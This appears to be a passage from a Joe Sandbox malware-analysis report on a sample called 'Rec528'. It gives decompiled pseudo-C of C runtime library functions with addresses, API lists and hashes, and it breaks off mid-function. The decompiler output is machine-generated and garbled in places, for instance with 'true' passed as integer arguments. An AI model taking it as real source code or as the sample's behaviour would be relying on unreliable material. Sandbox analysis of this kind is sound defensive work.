0x00411e49
0x00411e4c
0x00411e51
0x00411f61
0x00411f61
0x00411f61
0x00000000
0x00411e60
0x00411e60
0x00411e65
0x00411e6f
0x00411e71
0x00411e76
0x00411e7b
0x00411e7b
0x00411e7d
0x00411e80
0x00411e85
0x00411ea7
0x00411ea7
0x00411eaa
0x00411ead
0x00411ecb
0x00411ece
0x00411f0d
0x00411f10
0x00411f13
0x00411f38
0x00411f3a
0x00000000
0x00411f3c
0x00411f3c
0x00411f3e
0x00000000
0x00411f40
0x00411f40
0x00411f45
0x00411f49
0x00411f49
0x00411f4a
0x00000000
0x00411f4a
0x00411f3e
0x00411f15
0x00411f15
0x00411f17
0x00000000
0x00411f19
0x00411f19
0x00411f1b
0x00000000
0x00411f1d
0x00411f2e
0x00000000
0x00411f33
0x00411f1b
0x00411f17
0x00411ed0
0x00411ed0
0x00411ed4
0x00000000
0x00411eda
0x00411eda
0x00411edc
0x00000000
0x00411ee2
0x00411ee9
0x00411ef1
0x00411ef5
0x00411ef7
0x00411efa
0x00411eff
0x00411f00
0x00000000
0x00411f00
0x00411efa
0x00000000
0x00411ef5
0x00411edc
0x00411ed4
0x00411eaf
0x00411eaf
0x00000000
0x00411eaf
0x00411e8c
0x00411e8c
0x00411e91
0x00411e96
0x00000000
0x00411e98
0x00411e9a
0x00411ea3
0x00411eb2
0x00411eb4
0x00411f73
0x00411f73
0x00411f78
0x00411f79
0x00411f7b
0x00411f80
0x00411f85
0x00411f88
0x00411f8b
0x00411f8e
0x00411f97
0x00411f97
0x00411f90
0x00411f90
0x00411f90
0x00411f9a
0x00411f9e
0x00411fa1
0x00411fa2
0x00411fa3
0x00411fa4
0x00411fa7
0x00411fb0
0x00411fb0
0x00411fb3
0x00411fe9
0x00411fb5
0x00411fb5
0x00411fb5
0x00411fb8
0x00411fcf
0x00411fcf
0x00411fb8
0x00411fee
0x00411ff8
0x00412004
0x00411ec2
0x00411ec2
0x00411ec7
0x00411ec8
0x00411f02
0x00411f09
0x00411f4d
0x00411f4d
0x00411f54
0x00411f63
0x00411f66
0x00411f72
0x00411f72
0x00411eb4
0x00411e96
0x00000000
0x00000000
0x00000000
0x00411e65

APIs

___AdjustPointer.LIBCMT ref: 00411F02
___AdjustPointer.LIBCMT ref: 00411F25
___AdjustPointer.LIBCMT ref: 00411FC1

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e5305a5fedea42a63369c705c1c9af7a9fc9b5da4a42a91436d3069ab0757690
Instruction ID: 031db4d7465caab717f4487c23bf1eb54370f22a8ea329297a3165cc490b5ad6
Opcode Fuzzy Hash: e5305a5fedea42a63369c705c1c9af7a9fc9b5da4a42a91436d3069ab0757690
Instruction Fuzzy Hash: F951E372604302AFDB248F51D881BFA77A4EF54704F14012FEE05866A1D739ECC2C798

Uniqueness

Uniqueness Score: -1.00%

Function 10003E7A Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E10003E7A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x10015860);
				E10003100(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E10005070(_t107, E1000380B(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E10005070(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x10017cdc; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x10010164();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E100068B8(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x10015880);
									E10003100(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E10003E7A(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E10004B7A(_t103, _t108[0x18], E1000380B( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E10004B8A(_t103, _t108[0x18], E1000380B( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), "true");
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E1000380B();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x10003e7a
0x10003e7c
0x10003e81
0x10003e86
0x10003e88
0x10003e8b
0x10003e90
0x10003fa0
0x10003fa0
0x10003fa0
0x00000000
0x10003e9f
0x10003e9f
0x10003ea4
0x10003eae
0x10003eb0
0x10003eb5
0x10003eba
0x10003eba
0x10003ebc
0x10003ebf
0x10003ec4
0x10003ee6
0x10003ee6
0x10003ee9
0x10003eec
0x10003f0a
0x10003f0d
0x10003f4c
0x10003f4f
0x10003f52
0x10003f77
0x10003f79
0x00000000
0x10003f7b
0x10003f7b
0x10003f7d
0x00000000
0x10003f7f
0x10003f7f
0x10003f84
0x10003f88
0x10003f88
0x10003f89
0x00000000
0x10003f89
0x10003f7d
0x10003f54
0x10003f54
0x10003f56
0x00000000
0x10003f58
0x10003f58
0x10003f5a
0x00000000
0x10003f5c
0x10003f6d
0x00000000
0x10003f72
0x10003f5a
0x10003f56
0x10003f0f
0x10003f0f
0x10003f13
0x00000000
0x10003f19
0x10003f19
0x10003f1b
0x00000000
0x10003f21
0x10003f28
0x10003f30
0x10003f34
0x10003f36
0x10003f39
0x10003f3e
0x10003f3f
0x00000000
0x10003f3f
0x10003f39
0x00000000
0x10003f34
0x10003f1b
0x10003f13
0x10003eee
0x10003eee
0x00000000
0x10003eee
0x10003ecb
0x10003ecb
0x10003ed0
0x10003ed5
0x00000000
0x10003ed7
0x10003ed9
0x10003ee2
0x10003ef1
0x10003ef3
0x10003fb2
0x10003fb2
0x10003fb7
0x10003fb8
0x10003fba
0x10003fbf
0x10003fc4
0x10003fc7
0x10003fca
0x10003fcd
0x10003fd6
0x10003fd6
0x10003fcf
0x10003fcf
0x10003fcf
0x10003fd9
0x10003fdd
0x10003fe0
0x10003fe1
0x10003fe2
0x10003fe3
0x10003fe6
0x10003fef
0x10003fef
0x10003ff2
0x10004028
0x10003ff4
0x10003ff4
0x10003ff4
0x10003ff7
0x1000400e
0x1000400e
0x10003ff7
0x1000402d
0x10004037
0x10004043
0x10003f01
0x10003f01
0x10003f06
0x10003f07
0x10003f41
0x10003f48
0x10003f8c
0x10003f8c
0x10003f93
0x10003fa2
0x10003fa5
0x10003fb1
0x10003fb1
0x10003ef3
0x10003ed5
0x00000000
0x00000000
0x00000000
0x10003ea4

APIs

___AdjustPointer.LIBCMT ref: 10003F41
___AdjustPointer.LIBCMT ref: 10003F64
___AdjustPointer.LIBCMT ref: 10004000

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 86d281c51d542b8956626c8c1f1d28d78e6030c3b117972411c5b4f3c3d087d4
Instruction ID: 05b9cb6cee9ab233904d532ca47041400c9ea06941b3a55bc6af4c30b617f094
Opcode Fuzzy Hash: 86d281c51d542b8956626c8c1f1d28d78e6030c3b117972411c5b4f3c3d087d4
Instruction Fuzzy Hash: 6F519DB5A04206AFFB1ACF50D841BABB7B8EF44390F21C529E80557299DB31EC84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0042B2BE Relevance: 6.1, APIs: 4, Instructions: 132
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E0042B2BE(signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v20;
				int _v24;
				int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _t30;
				signed int _t31;
				intOrPtr* _t36;
				int _t40;
				int _t41;
				void* _t42;
				void* _t54;
				void* _t56;
				signed int _t58;
				intOrPtr _t59;
				int _t60;
				void* _t62;
				void* _t63;
				int _t68;

				_t58 = __edx;
				_t50 = _a4;
				E0042B271( &_v44, __edx, _a4, _a8, _a12);
				if((_v44 & _v40) == 0xffffffff || (_v36 & _v32) == 0xffffffff) {
					L28:
					_t59 =  *((intOrPtr*)(E00413571(__eflags)));
					goto L29;
				} else {
					_t30 = _v24;
					_t60 = _v28;
					_v8 = _t30;
					_t68 = _t30;
					if(_t68 < 0) {
						L25:
						_t31 = E0041D0D8(_t50, _a8, _a12, 0);
						_t63 = _t63 + 0x10;
						__eflags = (_t31 & _t58) - 0xffffffff;
						if(__eflags == 0) {
							goto L28;
						}
						__eflags = SetEndOfFile(E00425532(_t50));
						if(__eflags != 0) {
							L18:
							_t59 = 0;
							L29:
							E0041D0D8(_v20, _v44, _v40, 0);
							return _t59;
						}
						 *((intOrPtr*)(E00413571(__eflags))) = 0xd;
						_t36 = E0041355E(__eflags);
						 *_t36 = GetLastError();
						goto L28;
					}
					if(_t68 > 0 || _t60 != 0) {
						_t62 = E0041E1DB(0x1000, "true");
						_pop(_t54);
						_t70 = _t62;
						if(_t62 != 0) {
							_v12 = E0041AE5A(_t54, _t50, 0x8000);
							_t40 = _v24;
							_pop(_t56);
							do {
								__eflags = _t40;
								if(__eflags < 0) {
									L12:
									_t41 = _t60;
									L13:
									_t42 = E00420FA8(_t50, _t62, _t41);
									_t63 = _t63 + 0xc;
									__eflags = _t42 - 0xffffffff;
									if(__eflags == 0) {
										__eflags =  *((intOrPtr*)(E0041355E(__eflags))) - 5;
										if(__eflags == 0) {
											 *((intOrPtr*)(E00413571(__eflags))) = 0xd;
										}
										L21:
										_t59 =  *((intOrPtr*)(E00413571(_t70)));
										E0041E238(_t62);
										goto L29;
									}
									asm("cdq");
									_t60 = _t60 - _t42;
									_t40 = _v8;
									asm("sbb eax, edx");
									_v8 = _t40;
									__eflags = _t40;
									if(__eflags > 0) {
										L11:
										_t41 = 0x1000;
										goto L13;
									}
									if(__eflags < 0) {
										break;
									}
									goto L16;
								}
								if(__eflags > 0) {
									goto L11;
								}
								__eflags = _t60 - 0x1000;
								if(_t60 < 0x1000) {
									goto L12;
								}
								goto L11;
								L16:
								__eflags = _t60;
							} while (_t60 != 0);
							E0041AE5A(_t56, _t50, _v12);
							E0041E238(_t62);
							_t63 = _t63 + 0xc;
							goto L18;
						}
						 *((intOrPtr*)(E00413571(_t70))) = 0xc;
						goto L21;
					} else {
						__eflags = _t30;
						if(__eflags > 0) {
							goto L18;
						}
						if(__eflags < 0) {
							goto L25;
						}
						__eflags = _t60;
						if(_t60 >= 0) {
							goto L18;
						}
						goto L25;
					}
				}
			}

0x0042b2be
0x0042b2c7
0x0042b2d6
0x0042b2e4
0x0042b40d
0x0042b412
0x00000000
0x0042b2f9
0x0042b2f9
0x0042b2fc
0x0042b2ff
0x0042b302
0x0042b304
0x0042b3c9
0x0042b3d2
0x0042b3d9
0x0042b3dc
0x0042b3df
0x00000000
0x00000000
0x0042b3ef
0x0042b3f1
0x0042b396
0x0042b396
0x0042b414
0x0042b41f
0x0042b42d
0x0042b42d
0x0042b3f8
0x0042b3fe
0x0042b40b
0x00000000
0x0042b40b
0x0042b30a
0x0042b320
0x0042b323
0x0042b324
0x0042b326
0x0042b341
0x0042b344
0x0042b347
0x0042b348
0x0042b348
0x0042b34a
0x0042b35d
0x0042b35d
0x0042b35f
0x0042b362
0x0042b367
0x0042b36a
0x0042b36d
0x0042b39f
0x0042b3a2
0x0042b3a9
0x0042b3a9
0x0042b3af
0x0042b3b5
0x0042b3b7
0x00000000
0x0042b3bc
0x0042b36f
0x0042b370
0x0042b372
0x0042b375
0x0042b377
0x0042b37a
0x0042b37c
0x0042b356
0x0042b356
0x00000000
0x0042b356
0x0042b37e
0x00000000
0x00000000
0x00000000
0x0042b37e
0x0042b34c
0x00000000
0x00000000
0x0042b34e
0x0042b354
0x00000000
0x00000000
0x00000000
0x0042b380
0x0042b380
0x0042b380
0x0042b388
0x0042b38e
0x0042b393
0x00000000
0x0042b393
0x0042b32d
0x00000000
0x0042b3bf
0x0042b3bf
0x0042b3c1
0x00000000
0x00000000
0x0042b3c3
0x00000000
0x00000000
0x0042b3c5
0x0042b3c7
0x00000000
0x00000000
0x00000000
0x0042b3c7
0x0042b30a

APIs

_free.LIBCMT ref: 0042B38E
_free.LIBCMT ref: 0042B3B7
SetEndOfFile.KERNEL32(00000000,0042858C,00000000,?,?,?,?,?,?,?,?,0042858C,?,00000000), ref: 0042B3E9
GetLastError.KERNEL32(?,?,?,?,?,?,?,0042858C,?,00000000,?,?,?,?,?), ref: 0042B405

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: de3f6e69295ed1edb17ce482ba4b705cbafdd08ef7baa43635d14e82ea768746
Instruction ID: 16f0a0c9d858e1ea4fd30985b49bfad7c1e1ace49b0db677cbea6ff333ee0434
Opcode Fuzzy Hash: de3f6e69295ed1edb17ce482ba4b705cbafdd08ef7baa43635d14e82ea768746
Instruction Fuzzy Hash: D741E776B00610ABDB11ABAAEC42BDE3766EF44364F580117FC14E7292D73CC98147AD

Uniqueness

Uniqueness Score: -1.00%

Function 00423AEF Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423AEF(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E00420014(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E00420014(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E0041353B(GetLastError());
									_t19 =  *((intOrPtr*)(E00413571(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E004240B5(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E0041353B(GetLastError());
						return  *((intOrPtr*)(E00413571(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E004240B5(_t41, __eflags, "true");
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E00419CF8(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x00423af6
0x00423afb
0x00423b19
0x00423b1b
0x00423b1e
0x00423b4b
0x00423b53
0x00423b55
0x00423b6e
0x00423b71
0x00423b74
0x00423b82
0x00423b91
0x00423b99
0x00423b9b
0x00423bb4
0x00423bb7
0x00423bb7
0x00423b9d
0x00423ba4
0x00423baf
0x00423baf
0x00423bb9
0x00000000
0x00423bb9
0x00423b79
0x00423b7e
0x00423b80
0x00000000
0x00000000
0x00000000
0x00423b80
0x00423b5e
0x00000000
0x00423b69
0x00423b20
0x00423b23
0x00423b26
0x00423b39
0x00423b3c
0x00423b0f
0x00423b0f
0x00000000
0x00423b12
0x00423b2c
0x00423b31
0x00423b33
0x00423bbd
0x00423bbd
0x00000000
0x00423b33
0x00423afd
0x00423b02
0x00423b07
0x00423b09
0x00423b0c
0x00000000

APIs

Part of subcall function 00419CF8: _free.LIBCMT ref: 00419D06

Part of subcall function 00420014: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0042132E,?,00000000,00000000), ref: 004200C0

GetLastError.KERNEL32 ref: 00423B57
__dosmaperr.LIBCMT ref: 00423B5E
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00423B9D
__dosmaperr.LIBCMT ref: 00423BA4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: acb329c430d9d65b703508cc3e81db56fa1fb9c9c168a09e4ae2cbd405f6ca47
Instruction ID: e2bc626332a1cb8f9240c891561028756cb59cc7de27e48891b77ebec3d406ca
Opcode Fuzzy Hash: acb329c430d9d65b703508cc3e81db56fa1fb9c9c168a09e4ae2cbd405f6ca47
Instruction Fuzzy Hash: F82127717002257F9B205F66AC80E6BBBBEEF00369780415AFD1583252DB3CEF4187A9

Uniqueness

Uniqueness Score: -1.00%

Function 10007B5E Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10007B5E(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E10008D54(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E10008D54(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E10005880(GetLastError());
									_t19 =  *((intOrPtr*)(E100058B6(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E1000819A(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E10005880(GetLastError());
						return  *((intOrPtr*)(E100058B6(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E1000819A(_t41, __eflags, "true");
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E10008180(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x10007b65
0x10007b6a
0x10007b88
0x10007b8a
0x10007b8d
0x10007bba
0x10007bc2
0x10007bc4
0x10007bdd
0x10007be0
0x10007be3
0x10007bf1
0x10007c00
0x10007c08
0x10007c0a
0x10007c23
0x10007c26
0x10007c26
0x10007c0c
0x10007c13
0x10007c1e
0x10007c1e
0x10007c28
0x00000000
0x10007c28
0x10007be8
0x10007bed
0x10007bef
0x00000000
0x00000000
0x00000000
0x10007bef
0x10007bcd
0x00000000
0x10007bd8
0x10007b8f
0x10007b92
0x10007b95
0x10007ba8
0x10007bab
0x10007b7e
0x10007b7e
0x00000000
0x10007b81
0x10007b9b
0x10007ba0
0x10007ba2
0x10007c2c
0x10007c2c
0x00000000
0x10007ba2
0x10007b6c
0x10007b71
0x10007b76
0x10007b78
0x10007b7b
0x00000000

APIs

Part of subcall function 10008180: _free.LIBCMT ref: 1000818E

Part of subcall function 10008D54: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B0F3,?,00000000,00000000), ref: 10008E00

GetLastError.KERNEL32 ref: 10007BC6
__dosmaperr.LIBCMT ref: 10007BCD
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C0C
__dosmaperr.LIBCMT ref: 10007C13

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 7eeb966c08a21ccdd8348b943a018a429234a691211fca6858fa38ede39d46b0
Instruction ID: 919b8e976f9ecb90de3acbe17c91f888c2c82116355e9d56d2017f5bd9120747
Opcode Fuzzy Hash: 7eeb966c08a21ccdd8348b943a018a429234a691211fca6858fa38ede39d46b0
Instruction Fuzzy Hash: 0921AF71A0021AAFF710DF658C81D5BB7ADFF042E4B118A29F958A7255EB35EC4187A0

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAE3 Relevance: 6.1, APIs: 4, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041CAE3(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x43d1c8; // 0x7
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0041E75F(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E0041E1DB("true", 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E0041E75F(__eflags,  *0x43d1c8, _t51);
							if(__eflags != 0) {
								E0041C911(_t51, 0x4508d8);
								E0041E238(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E0041E75F(__eflags,  *0x43d1c8, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E0041E75F(0,  *0x43d1c8, 0);
							_push(0);
							L9:
							E0041E238();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E0041E720(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x43d1c8; // 0x7
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E00419BC9(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x43d1c8; // 0x7
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E0041E75F(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E0041E1DB("true", 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E0041E75F(__eflags,  *0x43d1c8, _t60);
								if(__eflags != 0) {
									E0041C911(_t60, 0x4508d8);
									E0041E238(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E0041E75F(__eflags,  *0x43d1c8, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E0041E75F(__eflags,  *0x43d1c8, _t20);
								_push(_t60);
								L25:
								E0041E238();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E0041E720(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x43d1c8; // 0x7
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E00419BC9(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x43d1c8; // 0x7
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E0041E75F(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E0041E1DB("true", 0x364);
										__eflags = _t54;
